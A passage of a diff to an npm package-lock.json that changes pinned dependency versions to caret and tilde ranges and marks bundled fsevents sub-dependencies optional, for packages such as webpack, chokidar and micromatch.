"sha512-S7rnFITmBH1EnyKcvxBh1LjYeQMmnZtCXSEbHcH6S0NoKit24ZuFO/T1vDcLdYsLQkM188PVVhQmzKIuThNkKg==", "dev": true, "requires": { - "ajv": "6.5.2", - "ajv-keywords": "3.2.0", - "chalk": "2.4.1", - "lodash": "4.17.10", + "ajv": "^6.0.1", + "ajv-keywords": "^3.0.0", + "chalk": "^2.1.0", + "lodash": "^4.17.4", "slice-ansi": "1.0.0", - "string-width": "2.1.1" + "string-width": "^2.1.1" }, "dependencies": { "ansi-styles": { @@ -15278,7 +15336,7 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "1.9.0" + "color-convert": "^1.9.0" } }, "chalk": { @@ -15287,9 +15345,9 @@ "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", "dev": true, "requires": { - "ansi-styles": "3.2.1", - "escape-string-regexp": "1.0.5", - "supports-color": "5.5.0" + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" } }, "has-flag": { @@ -15304,7 +15362,7 @@ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "dev": true, "requires": { - "has-flag": "3.0.0" + "has-flag": "^3.0.0" } } } @@ -15339,8 +15397,8 @@ "integrity": "sha1-AARWmzfHx0ujnEPzzteNGtlBQL4=", "dev": true, "requires": { - "readable-stream": "2.3.6", - "xtend": "4.0.1" + "readable-stream": "^2.1.5", + "xtend": "~4.0.1" }, "dependencies": { "isarray": { @@ -15361,13 +15419,13 @@ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "1.0.2", - "inherits": "2.0.3", - "isarray": "1.0.0", - "process-nextick-args": "2.0.0", - "safe-buffer": "5.1.1", - "string_decoder": "1.1.1", - "util-deprecate": "1.0.2" + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" } }, "string_decoder": { @@ -15376,7 +15434,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "~5.1.0" } } } @@ -15393,7 +15451,7 @@ "integrity": "sha512-YvC1SV1XdOUaL6gx5CoGroT3Gu49pK9+TZ38ErPldOWW4j49GI1HKs9DV+KGq/w6y+LZ72W1c8cKz2vzY+qpzg==", "dev": true, "requires": { - "setimmediate": "1.0.5" + "setimmediate": "^1.0.4" } }, "tmp": { @@ -15402,7 +15460,7 @@ "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==", "dev": true, "requires": { - "os-tmpdir": "1.0.2" + "os-tmpdir": "~1.0.2" } }, "to-array": { @@ -15429,7 +15487,7 @@ "integrity": "sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=", "dev": true, "requires": { - "kind-of": "3.2.2" + "kind-of": "^3.0.2" } }, "to-regex": { @@ -15438,10 +15496,10 @@ "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==", "dev": true, "requires": { - "define-property": "2.0.2", - "extend-shallow": "3.0.2", - "regex-not": "1.0.2", - "safe-regex": "1.1.0" + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "regex-not": "^1.0.2", + "safe-regex": "^1.1.0" } }, "to-regex-range": { @@ -15450,8 +15508,8 @@ "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=", "dev": true, "requires": { - "is-number": "3.0.0", - "repeat-string": "1.6.1" + "is-number": "^3.0.0", + "repeat-string": "^1.6.1" }, "dependencies": { "is-number": { @@ -15460,7 +15518,7 @@ "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, "requires": { - "kind-of": "3.2.2" + "kind-of": "^3.0.2" } } } @@ -15482,7 +15540,7 @@ "integrity": "sha512-TZ6TTfI5NtZnuyy/Kecv+CnoROnyXn2DN97LontgQpCwsX2XyLYCC0ENhYkehSOwAp8rTQKc/NUIF7BkQ5rKLA==", "dev": true, "requires": { - "punycode": "1.4.1" + "punycode": "^1.4.1" } }, "trim-newlines": { @@ -15515,7 +15573,7 @@ "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", "dev": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "^5.0.1" } }, "tweetnacl": { @@ -15531,7 +15589,7 @@ "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=", "dev": true, "requires": { - "prelude-ls": "1.1.2" + "prelude-ls": "~1.1.2" } }, "type-detect": { @@ -15547,7 +15605,7 @@ "dev": true, "requires": { "media-typer": "0.3.0", - "mime-types": "2.1.19" + "mime-types": "~2.1.18" }, "dependencies": { "mime-db": { @@ -15562,7 +15620,7 @@ "integrity": "sha512-P1tKYHVSZ6uFo26mtnve4HQFE3koh1UWVkp8YUC+ESBHe945xWSoXuHHiGarDqcEZ+whpCDnlNw5LON0kLo+sw==", "dev": true, "requires": { - "mime-db": "1.35.0" + "mime-db": "~1.35.0" } } } @@ -15580,9 +15638,9 @@ "dev": true, "optional": true, "requires": { - "source-map": "0.5.6", - "uglify-to-browserify": "1.0.2", - "yargs": "3.10.0" + "source-map": "~0.5.1", + "uglify-to-browserify": "~1.0.0", + "yargs": "~3.10.0" } }, "uglify-to-browserify": { @@ -15598,14 +15656,14 @@ "integrity": "sha512-ovHIch0AMlxjD/97j9AYovZxG5wnHOPkL7T1GKochBADp/Zwc44pEWNqpKl1Loupp1WhFg7SlYmHZRUfdAacgw==", "dev": true, "requires": { - "cacache": "10.0.4", - "find-cache-dir": "1.0.0", - "schema-utils": "0.4.7", - "serialize-javascript": "1.5.0", - "source-map": "0.6.1", - "uglify-es": "3.3.9", - "webpack-sources": "1.3.0", - "worker-farm": "1.6.0" + "cacache": "^10.0.4", + "find-cache-dir": "^1.0.0", + "schema-utils": "^0.4.5", + "serialize-javascript": "^1.4.0", + "source-map": "^0.6.1", + "uglify-es": "^3.3.4", + "webpack-sources": "^1.1.0", + "worker-farm": "^1.5.2" }, "dependencies": { "commander": { @@ -15626,8 +15684,8 @@ "integrity": "sha512-r+MU0rfv4L/0eeW3xZrd16t4NZfK8Ld4SWVglYBb7ez5uXFWHuVRs6xCTrf1yirs9a4j4Y27nn7SRfO6v67XsQ==", "dev": true, "requires": { - "commander": "2.13.0", - "source-map": "0.6.1" + "commander": "~2.13.0", + "source-map": "~0.6.1" } } } @@ -15643,7 +15701,7 @@ "resolved": "https://registry.npmjs.org/uncontrollable/-/uncontrollable-5.1.0.tgz", "integrity": "sha512-5FXYaFANKaafg4IVZXUNtGyzsnYEvqlr9wQ3WpZxFpEUxl29A3H6Q4G1Dnnorvq9TGOGATBApWR4YpLAh+F5hw==", "requires": { - "invariant": "2.2.4" + "invariant": "^2.2.4" }, "dependencies": { "invariant": { @@ -15651,7 +15709,7 @@ "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", "requires": { - "loose-envify": "1.3.1" + "loose-envify": "^1.0.0" } } } @@ -15662,10 +15720,10 @@ "integrity": "sha1-XHHDTLW61dzr4+oM0IIHulqhrqQ=", "dev": true, "requires": { - "arr-union": "3.1.0", - "get-value": "2.0.6", - "is-extendable": "0.1.1", - "set-value": "0.4.3" + "arr-union": "^3.1.0", + "get-value": "^2.0.6", + "is-extendable": "^0.1.1", + "set-value": "^0.4.3" }, "dependencies": { "extend-shallow": { @@ -15674,7 +15732,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "0.1.1" + "is-extendable": "^0.1.0" } }, "set-value": { @@ -15683,10 +15741,10 @@ "integrity": "sha1-fbCPnT0i3H945Trzw79GZuzfzPE=", "dev": true, "requires": { - "extend-shallow": "2.0.1", - "is-extendable": "0.1.1", - "is-plain-object": "2.0.4", - "to-object-path": "0.3.0" + "extend-shallow": "^2.0.1", + "is-extendable": "^0.1.1", + "is-plain-object": "^2.0.1", + "to-object-path": "^0.3.0" } } } @@ -15697,7 +15755,7 @@ "integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==", "dev": true, "requires": { - "unique-slug": "2.0.1" + "unique-slug": "^2.0.0" } }, "unique-slug": { @@ -15706,7 +15764,7 @@ "integrity": "sha512-n9cU6+gITaVu7VGj1Z8feKMmfAjEAQGhwD9fE3zvpRRa0wEIx8ODYkVGfSc94M2OX00tUFV8wH3zYbm1I8mxFg==", "dev": true, "requires": { - "imurmurhash": "0.1.4" + "imurmurhash": "^0.1.4" } }, "unpipe": { @@ -15721,8 +15779,8 @@ "integrity": "sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=", "dev": true, "requires": { - "has-value": "0.3.1", - "isobject": "3.0.1" + "has-value": "^0.3.1", + "isobject": "^3.0.0" }, "dependencies": { "has-value": { @@ -15731,9 +15789,9 @@ "integrity": "sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=", "dev": true, "requires": { - "get-value": "2.0.6", - "has-values": "0.1.4", - "isobject": "2.1.0" + "get-value": "^2.0.3", + "has-values": "^0.1.4", + "isobject": "^2.0.0" }, "dependencies": { "isobject": { @@ -15785,7 +15843,7 @@ "integrity": "sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==", "dev": true, "requires": { - "punycode": "2.1.1" + "punycode": "^2.1.0" }, "dependencies": { "punycode": { @@ -15832,9 +15890,9 @@ "integrity": "sha512-dXHkKmw8FhPqu8asTc1puBfe3TehOCo2+RmOOev5suNCIYBcT626kxiWg1NBVkwc4rO8BGa7gP70W7VXuqHrjg==", "dev": true, "requires": { - "loader-utils": "1.1.0", - "mime": "2.3.1", - "schema-utils": "1.0.0" + "loader-utils": "^1.1.0", + "mime": "^2.0.3", + "schema-utils": "^1.0.0" }, "dependencies": { "loader-utils": { @@ -15843,9 +15901,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "3.1.3", - "emojis-list": "2.1.0", - "json5": "0.5.1" + "big.js": "^3.1.3", + "emojis-list": "^2.0.0", + "json5": "^0.5.0" } }, "schema-utils": { @@ -15854,9 +15912,9 @@ "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", "dev": true, "requires": { - "ajv": "6.5.2", - "ajv-errors": "1.0.0", - "ajv-keywords": "3.2.0" + "ajv": "^6.1.0", + "ajv-errors": "^1.0.0", + "ajv-keywords": "^3.1.0" } } } @@ -15867,8 +15925,8 @@ "integrity": "sha512-rh+KuAW36YKo0vClhQzLLveoj8FwPJNu65xLb7Mrt+eZht0IPT0IXgSv8gcMegZ6NvjJUALf6Mf25POlMwD1Fw==", "dev": true, "requires": { - "querystringify": "2.1.0", - "requires-port": "1.0.0" + "querystringify": "^2.0.0", + "requires-port": "^1.0.0" } }, "use": { @@ -15883,8 +15941,8 @@ "integrity": "sha1-z1k+9PLRdYdei7ZY6pLhik/QbY4=", "dev": true, "requires": { - "lru-cache": "2.2.4", - "tmp": "0.0.33" + "lru-cache": "2.2.x", + "tmp": "0.0.x" }, "dependencies": { "lru-cache": { @@ -15916,8 +15974,8 @@ "integrity": "sha512-i+6qA2MPhvoKLuxnJNpXAGhg7HphQOSUq2LKMZD0m15EiskXUkMvKdF4Uui0WYeCUGea+o2cw/ZuwehtfsrNkA==", "dev": true, "requires": { - "define-properties": "1.1.3", - "object.getownpropertydescriptors": "2.0.3" + "define-properties": "^1.1.2", + "object.getownpropertydescriptors": "^2.0.3" } }, "utila": { @@ -15950,7 +16008,7 @@ "integrity": "sha1-qrGh+jDUX4jdMhFIh1rALAtV5bQ=", "dev": true, "requires": { - "user-home": "1.1.1" + "user-home": "^1.1.1" }, "dependencies": { "user-home": { @@ -15967,8 +16025,8 @@ "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", "dev": true, "requires": { - "spdx-correct": "3.0.0", - "spdx-expression-parse": "3.0.0" + "spdx-correct": "^3.0.0", + "spdx-expression-parse": "^3.0.0" } }, "value-equal": { @@ -15988,9 +16046,9 @@ "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=", "dev": true, "requires": { - "assert-plus": "1.0.0", + "assert-plus": "^1.0.0", "core-util-is": "1.0.2", - "extsprintf": "1.3.0" + "extsprintf": "^1.2.0" } }, "vis": { @@ -15998,11 +16056,11 @@ "resolved": "https://registry.npmjs.org/vis/-/vis-4.21.0.tgz", "integrity": "sha1-3XFji/9/ZJXQC8n0DCU1JhM97Ws=", "requires": { - "emitter-component": "1.1.1", - "hammerjs": "2.0.8", - "keycharm": "0.2.0", - "moment": "2.22.2", - "propagating-hammerjs": "1.4.6" + "emitter-component": "^1.1.1", + "hammerjs": "^2.0.8", + "keycharm": "^0.2.0", + "moment": "^2.18.1", + "propagating-hammerjs": "^1.4.6" } }, "vm-browserify": { @@ -16025,7 +16083,7 @@ "resolved": "https://registry.npmjs.org/warning/-/warning-3.0.0.tgz", "integrity": "sha1-MuU3fLVy3kqwR1O9+IIcAe1gW3w=", "requires": { - "loose-envify": "1.3.1" + "loose-envify": "^1.0.0" } }, "watchpack": { @@ -16034,9 +16092,9 @@ "integrity": "sha512-i6dHe3EyLjMmDlU1/bGQpEw25XSjkJULPuAVKCbNRefQVq48yXKUpwg538F7AZTf9kyr57zj++pQFltUa5H7yA==", "dev": true, "requires": { - "chokidar": "2.0.4", - "graceful-fs": "4.1.11", - "neo-async": "2.5.2" + "chokidar": "^2.0.2", + "graceful-fs": "^4.1.2", + "neo-async": "^2.5.0" }, "dependencies": { "anymatch": { @@ -16045,8 +16103,8 @@ "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", "dev": true, "requires": { - "micromatch": "3.1.10", - "normalize-path": "2.1.1" + "micromatch": "^3.1.4", + "normalize-path": "^2.1.1" } }, "arr-diff": { @@ -16067,16 +16125,16 @@ "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", "dev": true, "requires": { - "arr-flatten": "1.1.0", - "array-unique": "0.3.2", - "extend-shallow": "2.0.1", - "fill-range": "4.0.0", - "isobject": "3.0.1", - "repeat-element": "1.1.2", - "snapdragon": "0.8.2", - "snapdragon-node": "2.1.1", - "split-string": "3.1.0", - "to-regex": "3.0.2" + "arr-flatten": "^1.1.0", + "array-unique": "^0.3.2", + "extend-shallow": "^2.0.1", + "fill-range": "^4.0.0", + "isobject": "^3.0.1", + "repeat-element": "^1.1.2", + "snapdragon": "^0.8.1", + "snapdragon-node": "^2.0.1", + "split-string": "^3.0.2", + "to-regex": "^3.0.1" }, "dependencies": { "extend-shallow": { @@ -16085,7 +16143,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "0.1.1" + "is-extendable": "^0.1.0" } } } @@ -16096,19 +16154,19 @@ "integrity": "sha512-z9n7yt9rOvIJrMhvDtDictKrkFHeihkNl6uWMmZlmL6tJtX9Cs+87oK+teBx+JIgzvbX3yZHT3eF8vpbDxHJXQ==", "dev": true, "requires": { - "anymatch": "2.0.0", - "async-each": "1.0.1", - "braces": "2.3.2", - "fsevents": "1.2.4", - "glob-parent": "3.1.0", - "inherits": "2.0.3", - "is-binary-path": "1.0.1", - "is-glob": "4.0.0", - "lodash.debounce": "4.0.8", - "normalize-path": "2.1.1", - "path-is-absolute": "1.0.1", - "readdirp": "2.1.0", - "upath": "1.1.0" + "anymatch": "^2.0.0", + "async-each": "^1.0.0", + "braces": "^2.3.0", + "fsevents": "^1.2.2", + "glob-parent": "^3.1.0", + "inherits": "^2.0.1", + "is-binary-path": "^1.0.0", + "is-glob": "^4.0.0", + "lodash.debounce": "^4.0.8", + "normalize-path": "^2.1.1", + "path-is-absolute": "^1.0.0", + "readdirp": "^2.0.0", + "upath": "^1.0.5" } }, "expand-brackets": { @@ -16117,13 +16175,13 @@ "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", "dev": true, "requires": { - "debug": "2.6.8", - "define-property": "0.2.5", - "extend-shallow": "2.0.1", - "posix-character-classes": "0.1.1", - "regex-not": "1.0.2", - "snapdragon": "0.8.2", - "to-regex": "3.0.2" + "debug": "^2.3.3", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "posix-character-classes": "^0.1.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" }, "dependencies": { "define-property": { @@ -16132,7 +16190,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "0.1.6" + "is-descriptor": "^0.1.0" } }, "extend-shallow": { @@ -16141,7 +16199,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "0.1.1" + "is-extendable": "^0.1.0" } }, "is-accessor-descriptor": { @@ -16150,7 +16208,7 @@ "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", "dev": true, "requires": { - "kind-of": "3.2.2" + "kind-of": "^3.0.2" }, "dependencies": { "kind-of": { @@ -16159,7 +16217,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "1.1.5" + "is-buffer": "^1.1.5" } } } @@ -16170,7 +16228,7 @@ "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", "dev": true, "requires": { - "kind-of": "3.2.2" + "kind-of": "^3.0.2" }, "dependencies": { "kind-of": { @@ -16179,7 +16237,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "1.1.5" + "is-buffer": "^1.1.5" } } } @@ -16190,9 +16248,9 @@ "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", "dev": true, "requires": { - "is-accessor-descriptor": "0.1.6", - "is-data-descriptor": "0.1.4", - "kind-of": "5.1.0" + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" } }, "kind-of": { @@ -16209,14 +16267,14 @@ "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", "dev": true, "requires": { - "array-unique": "0.3.2", - "define-property": "1.0.0", - "expand-brackets": "2.1.4", - "extend-shallow": "2.0.1", - "fragment-cache": "0.2.1", - "regex-not": "1.0.2", - "snapdragon": "0.8.2", - "to-regex": "3.0.2" + "array-unique": "^0.3.2", + "define-property": "^1.0.0", + "expand-brackets": "^2.1.4", + "extend-shallow": "^2.0.1", + "fragment-cache": "^0.2.1", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" }, "dependencies": { "define-property": { @@ -16225,7 +16283,7 @@ "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, "requires": { - "is-descriptor": "1.0.2" + "is-descriptor": "^1.0.0" } }, "extend-shallow": { @@ -16234,7 +16292,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "0.1.1" + "is-extendable": "^0.1.0" } } } @@ -16245,10 +16303,10 @@ "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", "dev": true, "requires": { - "extend-shallow": "2.0.1", - "is-number": "3.0.0", - "repeat-string": "1.6.1", - "to-regex-range": "2.1.1" + "extend-shallow": "^2.0.1", + "is-number": "^3.0.0", + "repeat-string": "^1.6.1", + "to-regex-range": "^2.1.0" }, "dependencies": { "extend-shallow": { @@ -16257,7 +16315,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "0.1.1" + "is-extendable": "^0.1.0" } } } @@ -16269,8 +16327,8 @@ "dev": true, "optional": true, "requires": { - "nan": "2.11.1", - "node-pre-gyp": "0.10.0" + "nan": "^2.9.2", + "node-pre-gyp": "^0.10.0" }, "dependencies": { "abbrev": { @@ -16282,7 +16340,8 @@ "ansi-regex": { "version": "2.1.1", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "aproba": { "version": "1.2.0", @@ -16303,12 +16362,14 @@ "balanced-match": { "version": "1.0.0", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "brace-expansion": { "version": "1.1.11", "bundled": true, "dev": true, + "optional": true, "requires": { "balanced-match": "1.0.0", "concat-map": "0.0.1" @@ -16323,17 +16384,20 @@ "code-point-at": { "version": "1.1.0", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "concat-map": { "version": "0.0.1", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "console-control-strings": { "version": "1.1.0", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "core-util-is": { "version": "1.0.2", @@ -16450,7 +16514,8 @@ "inherits": { "version": "2.0.3", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "ini": { "version": "1.3.5", @@ -16462,6 +16527,7 @@ "version": "1.0.0", "bundled": true, "dev": true, + "optional": true, "requires": { "number-is-nan": "1.0.1" } @@ -16476,6 +16542,7 @@ "version": "3.0.4", "bundled": true, "dev": true, + "optional": true, "requires": { "brace-expansion": "1.1.11" } @@ -16483,12 +16550,14 @@ "minimist": { "version": "0.0.8", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "minipass": { "version": "2.2.4", "bundled": true, "dev": true, + "optional": true, "requires": { "safe-buffer": "5.1.1", "yallist": "3.0.2" @@ -16507,6 +16576,7 @@ "version": "0.5.1", "bundled": true, "dev": true, + "optional": true, "requires": { "minimist": "0.0.8" } @@ -16587,7 +16657,8 @@ "number-is-nan": { "version": "1.0.1", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "object-assign": { "version": "4.1.1", @@ -16599,6 +16670,7 @@ "version": "1.4.0", "bundled": true, "dev": true, + "optional": true, "requires": { "wrappy": "1.0.2" } @@ -16684,7 +16756,8 @@ "safe-buffer": { "version": "5.1.1", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "safer-buffer": { "version": "2.1.2", @@ -16720,6 +16793,7 @@ "version": "1.0.2", "bundled": true, "dev": true, + "optional": true, "requires": { "code-point-at": "1.1.0", "is-fullwidth-code-point": "1.0.0", @@ -16739,6 +16813,7 @@ "version": "3.0.1", "bundled": true, "dev": true, + "optional": true, "requires": { "ansi-regex": "2.1.1" } @@ -16782,12 +16857,14 @@ "wrappy": { "version": "1.0.2", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "yallist": { "version": "3.0.2", "bundled": true, - "dev": true + "dev": true, + "optional": true } } }, @@ -16797,8 +16874,8 @@ "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", "dev": true, "requires": { - "is-glob": "3.1.0", - "path-dirname": "1.0.2" + "is-glob": "^3.1.0", + "path-dirname": "^1.0.0" }, "dependencies": { "is-glob": { @@ -16807,7 +16884,7 @@ "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", "dev": true, "requires": { - "is-extglob": "2.1.1" + "is-extglob": "^2.1.0" } } } @@ -16818,7 +16895,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "6.0.2" + "kind-of": "^6.0.0" } }, "is-data-descriptor": { @@ -16827,7 +16904,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "6.0.2" + "kind-of": "^6.0.0" } }, "is-descriptor": { @@ -16836,9 +16913,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "1.0.0", - "is-data-descriptor": "1.0.0", - "kind-of": "6.0.2" + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" } }, "is-extglob": { @@ -16853,7 +16930,7 @@ "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=", "dev": true, "requires": { - "is-extglob": "2.1.1" + "is-extglob": "^2.1.1" } }, "is-number": { @@ -16862,7 +16939,7 @@ "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, "requires": { - "kind-of": "3.2.2" + "kind-of": "^3.0.2" }, "dependencies": { "kind-of": { @@ -16871,7 +16948,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "1.1.5" + "is-buffer": "^1.1.5" } } } @@ -16894,19 +16971,19 @@ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", "dev": true, "requires": { - "arr-diff": "4.0.0", - "array-unique": "0.3.2", - "braces": "2.3.2", - "define-property": "2.0.2", - "extend-shallow": "3.0.2", - "extglob": "2.0.4", - "fragment-cache": "0.2.1", - "kind-of": "6.0.2", - "nanomatch": "1.2.13", - "object.pick": "1.3.0", - "regex-not": "1.0.2", - "snapdragon": "0.8.2", - "to-regex": "3.0.2" + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" } }, "nan": { @@ -16924,7 +17001,7 @@ "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==", "dev": true, "requires": { - "minimalistic-assert": "1.0.1" + "minimalistic-assert": "^1.0.0" } }, "webpack": { @@ -16937,26 +17014,26 @@ "@webassemblyjs/helper-module-context": "1.7.8", "@webassemblyjs/wasm-edit": "1.7.8", "@webassemblyjs/wasm-parser": "1.7.8", - "acorn": "5.7.3", - "acorn-dynamic-import": "3.0.0", - "ajv": "6.5.2", - "ajv-keywords": "3.2.0", - "chrome-trace-event": "1.0.0", - "enhanced-resolve": "4.1.0", - "eslint-scope": "4.0.0", - "json-parse-better-errors": "1.0.2", - "loader-runner": "2.3.1", - "loader-utils": "1.1.0", - "memory-fs": "0.4.1", - "micromatch": "3.1.10", - "mkdirp": "0.5.1", - "neo-async": "2.5.2", - "node-libs-browser": "2.1.0", - "schema-utils": "0.4.7", - "tapable": "1.1.0", - "uglifyjs-webpack-plugin": "1.3.0", - "watchpack": "1.6.0", - "webpack-sources": "1.3.0" + "acorn": "^5.6.2", + "acorn-dynamic-import": "^3.0.0", + "ajv": "^6.1.0", + "ajv-keywords": "^3.1.0", + "chrome-trace-event": "^1.0.0", + "enhanced-resolve": "^4.1.0", + "eslint-scope": "^4.0.0", + "json-parse-better-errors": "^1.0.2", + "loader-runner": "^2.3.0", + "loader-utils": "^1.1.0", + "memory-fs": "~0.4.1", + "micromatch": "^3.1.8", + "mkdirp": "~0.5.0", + "neo-async": "^2.5.0", + "node-libs-browser": "^2.0.0", + "schema-utils": "^0.4.4", + "tapable": "^1.1.0", + "uglifyjs-webpack-plugin": "^1.2.4", + "watchpack": "^1.5.0", + "webpack-sources": 